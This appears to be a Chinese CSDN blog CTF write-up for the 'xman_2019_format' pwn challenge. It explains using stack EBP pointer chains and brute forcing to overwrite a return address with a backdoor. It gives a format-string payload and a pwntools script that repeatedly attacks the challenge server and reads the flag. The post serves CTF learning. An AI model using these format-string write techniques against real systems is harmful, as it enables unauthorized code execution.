xman_2019_format

本文介绍了在xman_2019_format中,如何通过利用栈上的间接调用来实现backdoor,包括修改返回地址、利用Ebp链和栈内存布局。重点讲述了爆破栈地址、修改指令字节和使用特定格式化指令来达到攻击目的的过程。
摘要由CSDN通过智能技术生成

xman_2019_format

查看保护
在这里插入图片描述
在这里插入图片描述
一层一层的跟进之后可以看见有两个格式化的功能。中间使用|来隔开
在这里插入图片描述
还有个比较关键的是格式化在堆上,并不在栈上所以平时的的栈上格化式没有什么用。
在这里插入图片描述
正常的方法的话没有用,这时可以借助ebp两个链子来改ret为backdoor
因为返回地址的指针的最后一为是0xc所以把ebp第一个链子最低的一个字节改成0xcc,偏移为10。
为什么要改为0xcc呢,可以看一下笔者这里的栈图,返回地址前面是d3cc,而第一个ebp链子是d3a8往后。这里的话其实得要进行爆破,因为栈的地址会变,最后一位不会变,倒数第二个会变。所以需要进行一个爆破。
之后还需要借助第二个ebp链子。因为要将0x804897改为backdoor的地址,而这两个地址不一样的只有最后两个字节,改最后两个字节即可。
%204c%10$hhn|%34219c%18$hn
解释一下吧,204是0xcc因为最低位为0xc,倒数第二个的话这里按着笔者这里的栈图来的是0xcc,倒数第二位是c所以这里作者设置的是0xcc。%10是因为偏移10
34219是backdoor的最低的两个字节。偏移为18

from pwn import *

#context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'
'''
debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)
'''
elf = ELF(file_name)

def dbg():
    gdb.attach(r)

for i in range(20):
    r = remote('node4.buuoj.cn', 25377)
    p1 = '%204c%10$hhn|%34219c%18$hn'
    r.sendline(p1)

    try:
        r.sendline(b'echo aaaa')
        r.recvuntil(b'aaaa', timeout=1)
        r.sendline(b'cat flag')
        r.recvuntil(b'{')
        flag = b'flag{' + r.recvuntil(b'}')
        print('[+] flag = ' + str(flag))
        r.interactive()
        break
    except:
        r.close()
        continue

在这里插入图片描述

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z1r0.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值